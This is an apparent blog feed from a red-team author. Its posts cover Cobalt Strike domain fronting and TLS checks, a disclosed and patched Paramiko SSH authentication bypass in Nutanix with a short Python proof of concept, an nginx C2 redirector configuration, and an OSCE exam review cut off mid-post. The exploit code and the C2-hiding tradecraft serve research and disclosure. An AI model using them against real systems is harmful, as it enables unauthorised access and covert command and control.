<p>It appears that when modifying the TLS values in the Internet Properties dialog, one of the registry keys affected is <code class="language-plaintext highlighter-rouge">HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings\SecureProtocols</code>. The value is indeed changing when selecting/deselecting different TLS protocols, but the value didn’t make sense to me yet. I needed to keep digging.</p>

<p>A quick search through the registry brought to my attention the following three registry items.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HKLM:\software\Microsoft\Internet Explorer\AdvancedOptions\CRYPTO\TLS1.0
HKLM:\software\Microsoft\Internet Explorer\AdvancedOptions\CRYPTO\TLS1.1
HKLM:\software\Microsoft\Internet Explorer\AdvancedOptions\CRYPTO\TLS1.2
</code></pre></div></div>

<p>These were definitely interesting, so I opened up regedit to take a look.</p>

<figure class="">
  <img src="/assets/images/2019-02-07-domain-fronting-beacons-and-tls/regedit-tls.png" alt="" style="" />
  
</figure>

<p>These TLS registry items all have a <code class="language-plaintext highlighter-rouge">CheckedValue</code> item, and a corresponding <code class="language-plaintext highlighter-rouge">Mask</code> item. This led me to believe that when the box is checked, the value of Mask/CheckedValue would be applied to a registry key somewhere. In this case, I was thinking it would be the <code class="language-plaintext highlighter-rouge">SecureProtocols</code> key we saw earlier. This turned out to be the case.</p>

<p>With that, I had enough information to build my script. You can check your current settings (or build logic into a custom stager) with the following script:</p>

<div class="language-posh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$tls10DefaultValue</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">Get-ItemProperty</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="s1">'HKLM:\software\Microsoft\Internet Explorer\AdvancedOptions\CRYPTO\TLS1.0'</span><span class="p">)</span><span class="o">.</span><span class="nf">CheckedValue</span><span class="w">
</span><span class="nv">$tls11DefaultValue</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">Get-ItemProperty</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="s1">'HKLM:\software\Microsoft\Internet Explorer\AdvancedOptions\CRYPTO\TLS1.1'</span><span class="p">)</span><span class="o">.</span><span class="nf">CheckedValue</span><span class="w">
</span><span class="nv">$tls12DefaultValue</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">Get-ItemProperty</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="s1">'HKLM:\software\Microsoft\Internet Explorer\AdvancedOptions\CRYPTO\TLS1.2'</span><span class="p">)</span><span class="o">.</span><span class="nf">CheckedValue</span><span class="w">

</span><span class="nv">$currentSecureProtocols</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">Get-ItemProperty</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="s1">'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings'</span><span class="p">)</span><span class="o">.</span><span class="nf">SecureProtocols</span><span class="w">

</span><span class="kr">if</span><span class="w"> </span><span class="p">((</span><span class="nv">$currentSecureProtocols</span><span class="w"> </span><span class="o">-bAnd</span><span class="w"> </span><span class="nv">$tls10DefaultValue</span><span class="p">)</span><span class="w"> </span><span class="o">-eq</span><span class="w"> </span><span class="nv">$tls10DefaultValue</span><span class="p">)</span><span class="w">
</span><span class="p">{</span><span class="w">
    </span><span class="s2">"TLSv1.0 is Supported"</span><span class="w">
</span><span class="p">}</span><span class="w"> </span><span class="kr">else</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="s2">"TLSv1.0 is Not Supported"</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="kr">if</span><span class="w"> </span><span class="p">((</span><span class="nv">$currentSecureProtocols</span><span class="w"> </span><span class="o">-bAnd</span><span class="w"> </span><span class="nv">$tls11DefaultValue</span><span class="p">)</span><span class="w"> </span><span class="o">-eq</span><span class="w"> </span><span class="nv">$tls11DefaultValue</span><span class="p">)</span><span class="w">
</span><span class="p">{</span><span class="w">
    </span><span class="s2">"TLSv1.1 is Supported"</span><span class="w">
</span><span class="p">}</span><span class="w"> </span><span class="kr">else</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="s2">"TLSv1.1 is Not Supported"</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="kr">if</span><span class="w"> </span><span class="p">((</span><span class="nv">$currentSecureProtocols</span><span class="w"> </span><span class="o">-bAnd</span><span class="w"> </span><span class="nv">$tls12DefaultValue</span><span class="p">)</span><span class="w"> </span><span class="o">-eq</span><span class="w"> </span><span class="nv">$tls12DefaultValue</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="s2">"TLSv1.2 is Supported"</span><span class="w">
</span><span class="p">}</span><span class="w"> </span><span class="kr">else</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="s2">"TLSv1.2 is Not Supported"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<h2 id="coffee-break">Coffee Break!</h2>

<p><del>By this point, I’m convinced that beacon will not be able to connect to sites that do not accept &lt;=TLSv1.0.</del> I was under the mistaken impression that I was testing from a fully patched Windows 7 box. This was not the case, and thus, my machine was not allowing beacon to offer anything above TLSv1.0. When this happens, domain fronting will be impacted due to organizations improving their domain security practices and cutting off older versions of the TLS protocol. <del>This is an easy workaround for beacon, but it could potentially be tough to implement without breaking compatibility with older systems. It would be nice to see this as a configurable parameter one day (Malleable C2 perhaps?!), but</del></p>

<p>TLDR; beacon is awesome, and this was a valuable lesson in double checking versions and test equipment before starting anything. However, good things still came out of this, and I’ll definitely be putting the TLS script to use as a fail-safe for future assessments. A big thanks to Raphael for responding to this and helping me see the true issue. Until next time, happy hacking!</p>

<h4 id="bonus">Bonus!</h4>

<p>For quick methods of checking TLSv1.0, TLSv1.1, and TLSv1.2 support for a site, you can use the following commands:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜  ~ curl --tlsv1.0 --verbose --header 'Host: [your-cdn-caching-server]' 'https://[reputable-domain]/'
➜  ~ curl --tlsv1.1 --verbose --header 'Host: [your-cdn-caching-server]' 'https://[reputable-domain]/'
➜  ~ curl --tlsv1.2 --verbose --header 'Host: [your-cdn-caching-server]' 'https://[reputable-domain]/'
</code></pre></div></div>]]></content><author><name>Adam Brown</name></author><category term="Security" /><category term="red-team" /><category term="pentest" /><category term="hacking" /><category term="security" /><category term="cobaltstrike" /><summary type="html"><![CDATA[These posts have been too few and far in-between lately. But today I came across something that may save some poor red teamer a little bit of troubleshooting time. With my wife recently taking a trip out of town, I decided I had a few minutes this evening to write it up. What exciting times we live in.]]></summary></entry><entry><title type="html">Paramiko SSH Authentication Bypass in Nutanix</title><link href="https://coffeegist.com/security/paramiko-ssh-authentication-bypass-in-nutanix/" rel="alternate" type="text/html" title="Paramiko SSH Authentication Bypass in Nutanix" /><published>2018-10-27T00:00:00+00:00</published><updated>2018-10-27T00:00:00+00:00</updated><id>https://coffeegist.com/security/paramiko-ssh-authentication-bypass-in-nutanix</id><content type="html" xml:base="https://coffeegist.com/security/paramiko-ssh-authentication-bypass-in-nutanix/"><![CDATA[<p>It’s been a while since I’ve written anything. This post has honestly been queued up for quite a while, but as I was waiting for the vendor to patch the issue I kind of forgot about the post :) Luckily, everything has been patched now, and I can share about an ssh/sftp authentication bypass I found!</p>

<h2 id="nutanix">Nutanix</h2>

<p>While on a pentest several months back, I came across an SSH server running on an unusual port, <code class="language-plaintext highlighter-rouge">2222</code>. Ok, it’s not that unusual, but in any case I was intrigued. So, I started enumerating the box further to figure out what the box was for, and what service was running that SSH server. It turns out, the box was part of a software suite developed by <a href="https://www.nutanix.com/">Nutanix</a>. Nutanix has several products that allow for site-management at multiple levels. From VM/Image storage solutions to full hyperconverged infrastructure (HCI) technology that allows for the integration of compute, virtualization, storage, networking and security to power any application, at any scale. What? Basically, it’s a great tool for the management of datacenter infrastructure and applications.</p>

<h2 id="the-vulnerability">The Vulnerability</h2>

<p>Now for the fun stuff. As I further enumerated the unfamiliar port on this now-identified Nutanix box, I found that the SSH server was actually being ran by <code class="language-plaintext highlighter-rouge">Paramiko v1.15.2</code>. This library is listed in <a href="https://www.cvedetails.com/cve/CVE-2018-7750">CVE-2018-7750</a> as being vulnerable to an authentication bypass. At this point I got excited, but I could find no proof-of-concept (PoC) code about how to bypass the login prompt. So, I continued my research, and stumbled upon <a href="https://github.com/paramiko/paramiko/issues/1175">this issue</a> on GitHub. The discussion gave me enough of a clue to allow me to build the following PoC in order to exploit the vulnerable library.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">paramiko</span>

<span class="n">host</span> <span class="o">=</span> <span class="s">'127.0.0.1'</span>
<span class="n">port</span> <span class="o">=</span> <span class="mi">2222</span>

<span class="n">trans</span> <span class="o">=</span> <span class="n">paramiko</span><span class="p">.</span><span class="n">Transport</span><span class="p">((</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span>
<span class="n">trans</span><span class="p">.</span><span class="n">start_client</span><span class="p">()</span>

<span class="c1"># If the call below is skipped, no username or password is required.
# trans.auth_password('username', 'password')
</span>
<span class="n">sftp</span> <span class="o">=</span> <span class="n">paramiko</span><span class="p">.</span><span class="n">SFTPClient</span><span class="p">.</span><span class="n">from_transport</span><span class="p">(</span><span class="n">trans</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">sftp</span><span class="p">.</span><span class="n">listdir</span><span class="p">(</span><span class="s">'/'</span><span class="p">))</span>
<span class="n">sftp</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div></div>

<p>If you ignored the GitHub issue above, the TLDR is that the RFC is unclear about whether channels should be opened for clients that haven’t successfully completed the <code class="language-plaintext highlighter-rouge">auth</code> step of the SSH protocol. Thus, Paramiko and a few other SSH servers would open a channel for clients that had not authenticated first.</p>

<h2 id="big-deal-its-an-sftp-server">Big Deal, It’s an SFTP Server</h2>

<p>You might be thinking, “Ok but this isn’t a big deal. It’s an SFTP server, it’s not like you’re getting code execution.” But that’s where this vulnerability gets interesting. As part of the <a href="https://www.nutanix.com/products/acropolis/">Nutanix Acropolis</a> suite, an SFTP server is deployed to allow the <strong><em>management of virtual machines and images</em></strong>. That means uploading, downloading, and deleting images used to deploy applications across an entire enterprise! To get code execution here, one merely needs to download an image, install a command-and-control agent, and re-upload the image to the Acropolis server. Then, when new images are deployed, the agent will call out. The implications are far more dangerous when you start playing the long game.</p>

<h2 id="vendor-response">Vendor Response</h2>

<p>Nutanix was contacted immediately once the issue was confirmed on June 13th. I received a response very quickly, and the team began immediate work on putting a plan in place to patch the issue. An e-mail on July 25th stated that a patch was lined up for release in the very near term, and on August 29th I received confirmation that the issue had been patched and released for all Nutanix customers as part of AOS and Prism Central versions 5.5.5 (Long Term Support) and 5.8.1 (Short Term Support). Overall, Nutanix seemed to take their product’s security very seriously, and were extremely friendly to a researcher such as myself. It was a pleasure working with their team.</p>

<h2 id="coffee-break">Coffee Break!</h2>

<p>This vulnerability really taught me that just because there’s not an exploit built out already, doesn’t mean it’s not worth looking into no matter how much of a time crunch you’re under. I only had one day to go from finding the vulnerability, to showing the impact of the exploit. Don’t skip over something just because it doesn’t <em>appear</em> to be easy. Compromise might just be 8 lines of python away ;). Until next time, happy hacking!</p>]]></content><author><name>Adam Brown</name></author><category term="Security" /><category term="red-team" /><category term="pentest" /><category term="hacking" /><category term="security" /><category term="tutorial" /><summary type="html"><![CDATA[It’s been a while since I’ve written anything. This post has honestly been queued up for quite a while, but as I was waiting for the vendor to patch the issue I kind of forgot about the post :) Luckily, everything has been patched now, and I can share about an ssh/sftp authentication bypass I found!]]></summary></entry><entry><title type="html">Resilient Red Team HTTPS Redirection Using Nginx</title><link href="https://coffeegist.com/security/resilient-red-team-https-redirection-using-nginx/" rel="alternate" type="text/html" title="Resilient Red Team HTTPS Redirection Using Nginx" /><published>2018-06-07T00:00:00+00:00</published><updated>2018-06-07T00:00:00+00:00</updated><id>https://coffeegist.com/security/resilient-red-team-https-redirection-using-nginx</id><content type="html" xml:base="https://coffeegist.com/security/resilient-red-team-https-redirection-using-nginx/"><![CDATA[<p>On a typical red team assessment, a redirector is a crucial part of the infrastructure in use. A redirector is basically a box that sits out on the internet (usually in some type of cloud service provider’s network) and forwards traffic for the red team so that the blue team can never see the IP address of the attacker’s command and control (C2) server. Using redirectors, if a C2 channel gets burned, the red team can just spin up a new redirector, rather than rolling their entire infrastructure. When HTTPS gets involved, you have to deal with certificates, categorization, and a whole gambit of problems. This technique aims to solve that.</p>

<p><a href="#the-solution">Click here</a> to jump straight to the solution, or view the code needed to implement this in your own teams on my <a href="#repositories">repositories</a>.</p>

<h2 id="the-old-way">The Old Way</h2>

<p>On past assessments, we would usually have a setup like the one seen below. Our C2 would leave a compromised workstation, and call out to a redirector in the cloud. The redirector would be running <a href="http://www.dest-unreach.org/socat/doc/socat.html">socat</a>, forwarding traffic from port 443 on the redirector to port 443 on our C2 server.</p>

<figure class="">
  <img src="/assets/images/2018-06-07-resilient-red-team-https-redirection-using-nginx/basic-redirector.png" alt="" style="" />
  
</figure>

<p>This is all completely fine, until you start to add in three things: proxies, free SSL certificates, and 120-day long assessments.</p>

<h2 id="the-perfect-storm">The Perfect Storm</h2>

<p>Our engagements are typically 90 days, plus an out-brief. That means that we potentially need to have infrastructure stood up and working for around 120 days just to be safe. When we’re using HTTPS, this quickly becomes a problem. Let’s start with the proxy problem.</p>

<h3 id="proxies">Proxies</h3>

<p>Most organizations we assess have some type of web proxy in place. This means they won’t be able to browse the whole web, but only pieces of the web that are marked safe by their particular proxy or web filter. One example of a filter is provided by <a href="https://urlfiltering.paloaltonetworks.com/">Palo Alto Networks</a>. With their appliance in place, only sites that are set up properly, and that are deemed by Palo Alto to fit within certain categories are allowed to be accessed over HTTP/s. This means two things for us, we need a valid SSL certificate, and we need to get our C2 domain categorized.</p>

<h5 id="categorization">Categorization</h5>

<p>We’ll talk more on SSL certificates later, but for now, let’s focus on what it takes to get a site categorized. Basically, it’s just necessary to host content on the site that fits the categorization you are going for. Example, I mostly try to categorize as a Business site because it’s vague, and generally marked as a safe category by customers. So, I just need to have some type of content that makes the site seem like it could be a legitimate business. See my <a href="https://github.com/coffeegist/cat-sites">github</a> for some sites I’ve used to categorize domains in the past.</p>

<p>Categorization is hit or miss, sometimes an analyst will deny your categorization request, and sometimes they’ll accept it. Just try a few times, and customize content to make it seem more legitimate.</p>

<p>Once a site would get categorized, we would take down the web server and start up our C2 server in it’s place. However, on one assessment we noticed that our C2 channel got burned because a blue team analyst saw traffic flowing to our domain, visited it, and saw no legitimate content being served. It was an empty site, so they blocked it. This was one problem that led to the creation of the solution to come.</p>

<h3 id="free-ssl-certificates">Free SSL Certificates</h3>

<p>Another thing proxies might disallow are HTTPS requests to sites with invalid SSL certificates. Let’s be real, if you’re truly performing a red team assessment, you need to have your ducks in a row. For us, we like to spend as little money as possible. So, we use <a href="https://letsencrypt.org/">Let’s Encrypt</a>. These free certificates last for 3 months, and so do our assessments.</p>

<p>Seems like a perfect match at first, but we’ve found that we typically need to keep infrastructure up for about 120 days just to be safe. So at some point during the assessment we need to renew our SSL certificates, which means rebuilding our C2 profiles and restarting our C2 servers to load the new certificates. This isn’t ideal, and can cause some issues with communications if not done carefully.</p>

<h2 id="the-solution">The Solution</h2>

<p>How do we host valid content, with free and valid SSL certificates, for 120 days without rolling our infrastructure then? Simple, we replace socat with Nginx, and we let Nginx do the heavy decision making for us!</p>

<p>What do I mean? Well, one very common use case for Nginx is to act as a <a href="https://docs.nginx.com/nginx/admin-guide/web-server/reverse-proxy/">reverse proxy</a>. What this meant for our team is that we could host content on our redirector, and if someone tried to visit content that existed, Nginx would serve that content out. However, if the content requested did not exist, it was potentially a compromised workstation trying to communicate with us, so the request would be forwarded back to our C2 server. Let’s take a look at an Nginx configuration that accomplishes this.</p>

<div class="language-nginx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">server</span> <span class="p">{</span>
        <span class="kn">listen</span> <span class="mi">443</span> <span class="s">ssl</span> <span class="s">default_server</span><span class="p">;</span>
        <span class="kn">listen</span> <span class="s">[::]:443</span> <span class="s">ssl</span> <span class="s">default_server</span><span class="p">;</span>

        <span class="kn">root</span> <span class="n">/var/www/html</span><span class="p">;</span>

        <span class="kn">index</span> <span class="s">index.html</span><span class="p">;</span>

        <span class="kn">server_name</span> <span class="s">*.example.org</span><span class="p">;</span>

        <span class="kn">location</span> <span class="n">/</span> <span class="p">{</span>
                <span class="kn">try_files</span> <span class="nv">$uri</span> <span class="nv">$uri</span><span class="n">/</span> <span class="s">@c2</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="kn">location</span> <span class="s">@c2</span> <span class="p">{</span>
                <span class="kn">proxy_pass</span> <span class="s">https://c2-ip-address</span><span class="p">;</span>
                <span class="kn">proxy_redirect</span> <span class="no">off</span><span class="p">;</span>
                <span class="kn">proxy_ssl_verify</span> <span class="no">off</span><span class="p">;</span>
                <span class="kn">proxy_set_header</span> <span class="s">Host</span> <span class="nv">$host</span><span class="p">;</span>
                <span class="kn">proxy_set_header</span> <span class="s">X-Forwarded-For</span> <span class="nv">$proxy_add_x_forwarded_for</span><span class="p">;</span>
        <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The main line to pay attention to is the <code class="language-plaintext highlighter-rouge">try_files</code> line, which tells nginx to try to serve files in that order. If the uri does not exist, then the request is handled by the <code class="language-plaintext highlighter-rouge">@c2</code> block. This block passes the traffic back to our c2 server, and is completely transparent to the client.</p>

<p>A more detailed setup script is located on <a href="https://github.com/coffeegist/now-you-see-me">GitHub</a>.</p>

<h4 id="updating-ssl-certs">Updating SSL Certs</h4>

<p>Another great thing about this, is that we only need to keep the SSL certificates updated within the context of Nginx. Our compromised workstation only establishes a secure session with our redirector running Nginx. Nginx then takes care of establishing a secure session with our C2 server that the workstation knows nothing about. As long as we define <code class="language-plaintext highlighter-rouge">proxy_ssl_verify off;</code> (thanks to <a href="https://github.com/xan7r">xan7r</a> for this crucial find) in our Nginx config, if the C2 server is found to have an expired or self-signed SSL certificate, no one will care! Luckily, the <code class="language-plaintext highlighter-rouge">proxy_ssl_verify</code> option is defaulted to off for some reason, or we may have never noticed this solution.</p>

<p>With this information known, we can let <a href="https://certbot.eff.org/">certbot</a> take care of keeping our SSL certificates up-to-date, and run our assessment for as long as we need.</p>

<h2 id="coffee-break">Coffee Break!</h2>

<p>This solution really saved our team on our last assessment. Admittedly, there was a little luck involved in noticing how great this solution really was, but a huge shout out again to <a href="https://github.com/xan7r">xan7r</a> for helping me walk through just how great this solution could be. If anyone is interested, I’ve began work on a script for setting this up that I will link below. Pull-requests are welcome, and I hope your teams are able to take this and run with it! Let me know your thoughts in the comments below!</p>

<h5 id="repositories">Repositories</h5>

<ul>
  <li><a href="https://github.com/coffeegist/cat-sites">Site Categorization Templates</a></li>
  <li><a href="https://github.com/coffeegist/now-you-see-me">C2/Nginx Server Setup Script</a></li>
</ul>]]></content><author><name>Adam Brown</name></author><category term="Security" /><category term="red-team" /><category term="hacking" /><category term="security" /><category term="tutorial" /><summary type="html"><![CDATA[On a typical red team assessment, a redirector is a crucial part of the infrastructure in use. A redirector is basically a box that sits out on the internet (usually in some type of cloud service provider’s network) and forwards traffic for the red team so that the blue team can never see the IP address of the attacker’s command and control (C2) server. Using redirectors, if a C2 channel gets burned, the red team can just spin up a new redirector, rather than rolling their entire infrastructure. When HTTPS gets involved, you have to deal with certificates, categorization, and a whole gambit of problems. This technique aims to solve that.]]></summary></entry><entry><title type="html">My OSCE Review</title><link href="https://coffeegist.com/security/my-osce-review/" rel="alternate" type="text/html" title="My OSCE Review" /><published>2018-06-05T00:00:00+00:00</published><updated>2018-06-05T00:00:00+00:00</updated><id>https://coffeegist.com/security/my-osce-review</id><content type="html" xml:base="https://coffeegist.com/security/my-osce-review/"><![CDATA[<p>About a year ago, I received the most satisfying e-mail I had ever received. It was from <a href="https://offensive-security.com">Offensive-Security</a>, and it was stating that I had successfully obtained my Offensive Security Certified Professional (<a href="/security/my-oscp-experience/">OSCP</a>) certification on my first try! I was ecstatic, and exhausted. I had put in a hard two months of studying beforehand, and it was time to take a break. But, after 10 months of focusing on other areas of life, I decided it was time to come back and grab my Offensive Security Certified Expert (OSCE) certification, and this is how I did it.</p>

<h2 id="prerequisites">Prerequisites</h2>

<p>I think it’s fair to assume that if you’re reading this, you must be interested in learning more about the exam either because you are considering taking it, you are currently in the labs, or maybe you’re in the middle of your exam! In any case, I feel it’s best to lay out some of what I feel like are prerequisites for this course. If you think you’d like to take this course on, but feel you may be missing some of these prerequisites, feel free to check out my <a href="/mentorships/">mentorship program</a> and we can chat one-on-one to discuss what steps you can take to accomplish any goals you have!</p>

<p>First and foremost, you need to have SOME idea of how programming works. Some people might say this isn’t necessary, but I am 100% convinced that my programming background allowed me to pass the OSCE on my first try with 12 hours to spare, even while making boneheaded mistakes. Just knowing how programming works will take you a long way. If you’re looking for suggested languages, I would say studying up on C and PHP would be sufficient. Just a basic knowledge of these languages will do. C isn’t used throughout the labs, but understanding C helps you understand how assembly works as well. Knowing how to build python scripts (and programs) will definitely help you throughout the course as well, but I wouldn’t call it a prerequisite.</p>

<p>I would also almost call the OSCP another prerequisite. It’s not necessarily essential, but it sure helped me out.</p>

<p>Finally, the question I get asked the most is, “Do I need to know assembly?”. It’s a difficult question to answer truthfully, but I always respond with the question, why not?! Sure, you’ll get walked through some basic assembly during the course, but it is not a primer on assembly. You’re either expected to know it, or learn it. So, for people with zero assembly experience, I would recommend <a href="https://www.youtube.com/watch?v=K0g-twyhmQ4&amp;t=16s">Assembly Primer for Hackers</a>. If you have any assembly experience at all, I would recommend jumping straight into <a href="http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html">SecurityTube Linux Assembly Expert</a>. I completed this course before starting the OSCE, and I can guarantee it’s worth it.</p>

<h2 id="registration">Registration</h2>

<p>Before you can sign up to begin your journey, you must pass a registration challenge. This is an excellent tool to gauge your readiness. In my case, I passed several parts of the pre-registration challenge quite trivially. However, upon coming to the last section, I felt a little shaky. I completed it, but I didn’t do it well and I felt like there were probably better ways to do it. This is what prompted me to sign up for the SLAE, and I’m glad I did. Listen to your brain, if the registration challenge causes you to feel unready, it’s because you are. Go do some other self-study, and come back to this when you’re ready.</p>

<h2 id="the-labs">The Labs</h2>

<p>The labs for the OSCE companion course, Cracking the Perimeter (CTP), were very different from the Pentesting With Kali (PWK) labs. In PWK you’re given access to some labs, and told to GO! You have to do discovery, reconnaissance, the whole picture! With CTP, the PDF contains walkthroughs of various scenarios, and the labs provide a place to duplicate these walkthroughs. Topics covered in the labs <a href="https://www.offensive-security.com/documentation/cracking-the-perimeter-syllabus.pdf">include</a>:</p>

<ul>
  <li>Web Application Testing</li>
  <li>PE File Modification</li>
  <li>Antivirus Bypass</li>
  <li>ASLR Bypass</li>
  <li>Egg Hunters In-Depth</li>
  <li>Finding Zero-Days</li>
  <li>Structured Exception Handlers</li>
  <li>GRE Tunneling</li>
</ul>

<p>I’ll be honest, the labs were a little disappointing at first. I was expecting some required problem solving, but it seemed to be straight up walkthroughs. I was familiar with a few of the concepts already, so I didn’t have to think too hard at first.</p>

<p>However, when I started trying to automate some of the techniques I was learning, the challenge started to set in. This is when I really started to enjoy the course. I used python to automate several steps within the courseware, and it wound up being some pretty cool projects that I’m glad I worked on.</p>

<p>Module 0x08 was by far my most enjoyable time in the labs. I was able to learn a lot through walking through this exercise a couple of times, as well as trying to automate it. This is the module I practiced on the most. The rest of the course I did once or twice, and felt like I understood it well enough.</p>

<p>This is where the CTP and PWK differed the most. When my PWK lab time ran out, I wished I had more. At the end of the first 30 days of CTP, I felt like I had soaked in everything I could from the labs. I would say if you have 30 days to dedicate to it, then that’s all you need for CTP. If you’ll be in and out, 60 days is plenty. But with my lab time coming to an end, I decided to schedule my exam with an 0800 start time and just go for it.</p>

<h2 id="exam">Exam</h2>

<p>The dreaded exam. Everyone I work with had already terrified me of it, reviews I read online made it seem almost certain I wouldn’t pass. But, the day came, and I rolled out of bed around 0630. I grabbed a shower, made breakfast, grabbed some Monticello Sunrise Ethiopian coffee from my local roaster, and sat down at my desk awaiting the exam email which includes instructions and a set of credentials.</p>

<h4 id="01-x-0800---lets-get-it">01 x 0800 - Let’s Get It</h4>

<p>The e-mail arrived precisely at 0800, and I began reading through it to make sure I understood the objectives. I set up my VPN, re-read the instructions and objectives, documented what I needed to, and I was off and running by 0830, after what I thought should be the easiest set of objectives in the exam.</p>

<h4 id="01-x-1100---trouble-in-paradise">01 x 1100 - Trouble in Paradise</h4>

<p>One hour had went by, and I wasn’t 100% sure what was going wrong, but I was still confident. Two hours go by, and I begin to panic. I thought I understood what to do, I knew how to do it, but I just couldn’t. Was it me? Was it the exam? Was everything functioning properly in the environment? Clearly not, and I spent a third hour verifying that it must be something I don’t see. But at the three hour mark, I decided it was time to move on and change up the objectives I was targeting.</p>

<h4 id="01-x-1200---i-see-a-shell">01 x 1200 - I See a Shell!</h4>

<p>This new set of objectives seemed more my speed. I read the tasks, began working, and immediately began seeing ways of completing the challenges. A little CTP sauce here, a little back-knowledge there, and bam! I have found a way of completing a small objective! This was fantastic, as it was the first blood I had drawn, but I was still far off. From this, I felt it would be easy to continue to complete the objectives on my current list.</p>

<h4 id="01-x-1500---finishing-is-hard">01 x 1500 - Finishing is Hard</h4>

<p>By 1400 I had decided that I should stop thinking that things will be easy. Nothing is easy in this test. Well, it is, but you have to think about it properly first :) I spent three hours trying to finish my currently chosen objectives before deciding that I was just being dumb, and would have to move on to some new objectives. These seemed very familiar, so I was hoping there wouldn’t be too many twists along the way.</p>

<h4 id="01-x-1700---sure-shot">01 x 1700 - Sure-Shot</h4>

<p>It took two hours, some head banging, and some moments of panic, but I finally finished a full set of objectives from start to finish. I definitely over-complicated this set of objectives, but a win is a win, and I gladly took it at 1700. My wife walked in just as I realized I had successfully completed it. We celebrated and she cheered me on, but it was time to get back to the basics. Maybe now, with some confidence, I can go back and try to figure out what went wrong with my previous set of objectives.</p>

<h4 id="01-x-1830---finishing-isnt-as-hard-as-i-thought">01 x 1830 - Finishing isn’t as Hard as I Thought</h4>

<p>It took me a little while longer to realize that I was trying to make this harder than it was. I went back to the basics, pretended I knew nothing, and started there. Within about 10 minutes I was able to successfully complete this set of objectives, and I was HALF WAY there! A full 45 out of 90 points! Now, I still felt like I may not pass, but at least this was a start. Let’s move back to what should have been my easiest set of objectives.</p>

<h4 id="01-x-2000---back-to-the-easy-stuff">01 x 2000 - Back to the Easy Stuff?</h4>

<p>With my new-found hope and the idea that I MIGHT actually pass this on the first try, I began looking back at my first set of objectives. I thought I had some new methods to try. I spent an hour baking these new ideas, but none proved fruitful. What in the world?! How is this so hard? It should be so easy, and I just can’t do it. Whatever, let’s pick some new objectives…</p>

<h4 id="01-x-2300---on-to-the-beast">01 x 2300 - On to the Beast</h4>

<p>I had a small number of objectives that I hadn’t looked at thus far, so I decided to focus on these. Wow, this was the real deal, but didn’t seem like it should be too hard. I began with what I knew, but nothing seemed to work. I tried a few new techniques, and still nothing worked. It was starting to get late, I had been zoned in for a long time, and I didn’t seem to be making progress. I made the hardest decision of the day…</p>

<h4 id="02-x-0200---off-to-bed">02 x 0200 - Off to Bed</h4>

<p>I decided to go to bed. I was 18 hours in at this point, with only half of the credit I needed to ace the exam. I didn’t feel great about it, but I also didn’t feel terrible. As I lay down to get some rest, I had a last thought, and ran back into the den to automate a few things to run overnight before laying back down and going to sleep. I slept pretty well knowing that my computer never stopped working on the exam for me :)</p>

<h4 id="02-x-0700---i-see-a-path">02 x 0700 - I See a Path!</h4>

<p>At 0700 I awoke with a fresh mind, ready to attack the day. The first thing I did was check the computer to see if it had worked hard for me overnight, and it had! I saw data that I felt would be crucial in passing the exam. I was ecstatic, but decided to get a shower, food, and coffee in my system before sitting back down at my desk to tackle the current objectives.</p>

<h4 id="02-x-1700---if-this-doesnt-work">02 x 1700 - If This Doesn’t Work…</h4>

<p>I feel like I’m making progress for the first hour, and then I hit a road block. I find a way around the road block, and then hit another issue another hour later. At this point, I start to wonder if I’m running down a rabbit hole, but I keep pushing because in my mind I can’t see a reason why this shouldn’t work. I automate some more things, and seem to make more progress. I’m a few short steps away now, and I feel victory in my hands. I can’t seem to grab it. I spend another 4 hours only to realize that I made some assumptions about my automation that cost me precious time. I went back to verify things manually, and once that was complete, I had done everything I knew to do. If this didn’t work, I’d be clueless, with a full day wasted. I almost didn’t even want to try it, because if it didn’t work I’d be devastated. My wife walked in, I told her where I was, and she watched with anticipation as I made my final adjustments and made my attempt.</p>

<p>SUCCESS!! At 33 hours into my test, I’ve managed to gain enough points to pass! I was ecstatic. We celebrated and relaxed together for about an hour, and then I decided that it was time to ace this thing.</p>

<h4 id="02-x-1800---finish-him">02 x 1800 - Finish Him!</h4>

<p>Circling back to the first set of objectives I chose, I wanted them. I explored proof of concepts, double checked everything, wrote things, rewrote things, everything seemed to checkout. It was only when it explaining it to myself that I realized how dumb I was being. I had completely tunnel visioned and not thought about the objectives’ entire context. What an idiot. I now knew EXACTLY what needed to be done, and was able to put it together in about 15 minutes. But would it work?</p>

<h4 id="02-x-2000---perfection">02 x 2000 - Perfection!!!</h4>

<p>Yes!! 90 out of 90 points! A perfect score on my first OSCE attempt. I literally wasn’t sure if I would be able to pass the exam that day, but hard work paid off, and I was able to clear it with 12 hours to spare! This was definitely one of the most celebrated moments in my certification journey so far, and I relaxed in it for quite some time. We had dinner, watched movies, and enjoyed the fact that the worst was over.</p>

<h4 id="02-x-2200---documentation">02 x 2200 - Documentation</h4>

